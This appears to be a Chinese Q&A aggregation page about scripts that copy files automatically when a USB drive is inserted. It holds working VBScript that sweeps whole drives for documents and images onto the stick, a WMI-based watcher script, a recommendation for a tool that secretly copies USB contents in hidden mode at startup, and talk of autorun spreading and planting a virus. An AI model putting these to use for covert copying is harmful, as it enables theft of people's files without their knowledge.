u盘指定文件夹插入导出脚本

⑴ 如何使用VBS脚本编写U盘插入自动复制电脑指定文件至U盘

打开文本文档，输入：
COPY D:\data\*.* f:\ '假设你要复制D盘下的data文件夹到U盘上，U盘盘符是F然后保存文件，将该文件扩展名改为bat。
想要复制的时候，直接双击U盘上这个文件就行。这个代码适合自己电脑经常需要备份某个文件，手动操作步骤繁琐，利用这个代码来自动完成数据备份。如果稍加改进这个代码可能就会被安全软件拦截。。。，工具本身没有邪恶和正义之分，是正是邪还是看使用者的意图。

⑵ 请修改VBS代码让U盘插入后能自动复制电脑"指定盘符"的文件到U盘指定文件夹。谢谢

代码如下:

Const STR_TARGET_DRIVES = "D:|E:|F:"
'目标驱动器（指定磁盘，多个磁盘请用"|"隔开,盘符后面不准带有""符号）
Const STR_EXTS = "jpg|png|jpeg|doc|docx|txt"
'文件类型(多个类型请用"|"隔开)
Const STR_COPYTO = "%USBDevicePath%123"
'复制到...(变量说明:%CurrentPath% - 脚本所在目录的路径;%USBDevicePath% - U盘路径)

On Error Resume Next
Dim FSO,WS,C,I,Drive,USBPath,ArrDrives,CopyTo,FoundUSB
'Dim variables.
C=Chr(34)
Set FSO=WScript.CreateObject("Scripting.FileSystemObject")
Set WS=WScript.CreateObject("WScript.Shell")
'Create objects.
MsgBox "程序已运行!请关闭此对话框并插入U盘!(不关闭此对话框插入U盘无效)",64,"Info"
Do
    FoundUSB = False
    For Each Drive In FSO.Drives
        If Drive.IsReady Then
            If Drive.DriveType = 1 Then
                USBPath = Drive.Path
                FoundUSB = True
            End If
        End If
    Next
    If FoundUSB Then Exit Do
    WScript.Sleep 3000
Loop
'等待U盘插入
WS.Run "mshta VBScript:CreateObject(""WScript.Shell"").Popup(""正在复制..."",3,""提示"")(Close)",0
CopyTo = LCase(STR_COPYTO)
CopyTo = Replace(CopyTo,"%currentpath%",WS.CurrentDirectory)
CopyTo = Replace(CopyTo,"%usbdevicepath%",USBPath)
If(Right(CopyTo,1)<>"" And Right(CopyTo,1)<>"/") Then CopyTo = CopyTo & ""
'fix path format.
ArrDrives = Split(STR_TARGET_DRIVES,"|")
For I=0 To UBound(ArrDrives)
    GetAllFilesAndFolders ArrDrives(I) & ""
Next
'//
MsgBox "复制完成!!",64,"系统提示"
WS.Run C+CopyTo+C,1
'===================================================
Private Sub GetAllFilesAndFolders(Path)
    Dim File,Folder
    For Each File In FSO.GetFolder(Path).Files
        If CheckExt(FSO.GetExtensionName(File.Path)) Then
            FSO.CopyFile File.Path,CopyTo
        End If
    Next
    For Each Folder In FSO.GetFolder(Path).SubFolders
        GetAllFilesAndFolders Folder.Path
    Next
End Sub

Private Function CheckExt(ExtName)
    Dim A,ArrExts,OK
    OK = False
    ArrExts = Split(STR_EXTS,"|")
    For A=0 To UBound(ArrExts)
        If ExtName = ArrExts(A) Then
            OK = True
            Exit For
        End If
    Next
    CheckExt = OK
End Function

⑶ 找一个U盘一插入电脑.电脑就将指定文件夹自动拷贝到U盘的工具

U盘拷贝者 是一款在后台偷偷复制U盘内容的工具，自动监测U盘插入事件，后台拷贝U盘文件内容到指定目录，后台隐藏模式隐蔽运行，可选随系统自动启动，按ctrl+alt+u调出设置页面。可设置拷贝的文件的目录和开机启动。 http://www.softjie.cn/2010/10/29/udiskmonitor/

⑷ 如何使用VBS脚本编写U盘插入自动复制电脑指定文件至U盘

vbs可以调用wmi类库里win32_VolumeChangeEvent来监控本机盘符的变化事件，所以楼主的问题可以实现。下面是代码：
Dim fso
Dim objWMIService

strComputer = "." '句点代表本机
set fso = createobject("scripting.filesystemobject") '创建文件系统操作的对象
filePath = "" '这里定义你要从本机电脑拷贝的文件的全路径，如c:\1.txt
'创建WMI的连接
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& strComputer & "\root\cimv2")
'对系统盘符变更事件建立通知查询，即有盘符的增加或删除都会被捕获
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do '循环，不间断查询 有无盘符变更事件
Set objLatestEvent = colMonitoredEvents.NextEvent
path = objLatestEvent.DriveName & "\" '得到u盘的盘符
fso.CopyFile filePath, path '把本机电脑文件拷贝到u盘里
Loop
set fso = Nothing '收尾处理
set objWMIService = nothing
'这个脚本保存为任何的vbs都可以，也不用开机就自动运行，你想用的时候提前打开此文件就行。但是不打开这个脚本是没用的，因为捕获不了插入u盘的动作。

⑸ 如何实现U盘插入电脑中自动把电脑中的某个制定程序下载到U盘中，然后U盘插入其它电脑自动运行这个程序

自动运行倒是可以做到，只要你的电脑支持自动运行程序打开这个功能就行，但是，自动下载就不好做了，因为不同电脑安装的软件也不一样，安装的位置也不一样，这就是比较麻烦的问题。

⑹ 求一脚本：自动地把计算机桌面上的ppt格式的文件复制到U盘的指定文件夹

这个不一定行、要看电脑有没有打开自动运行、还有脚本问题

⑺ 如何使用脚本编写U盘插入自动复制某类文件至U盘

饿 这个貌似可以通过预先植入病毒来实现的 可以网上找骇客们问问 做个病毒！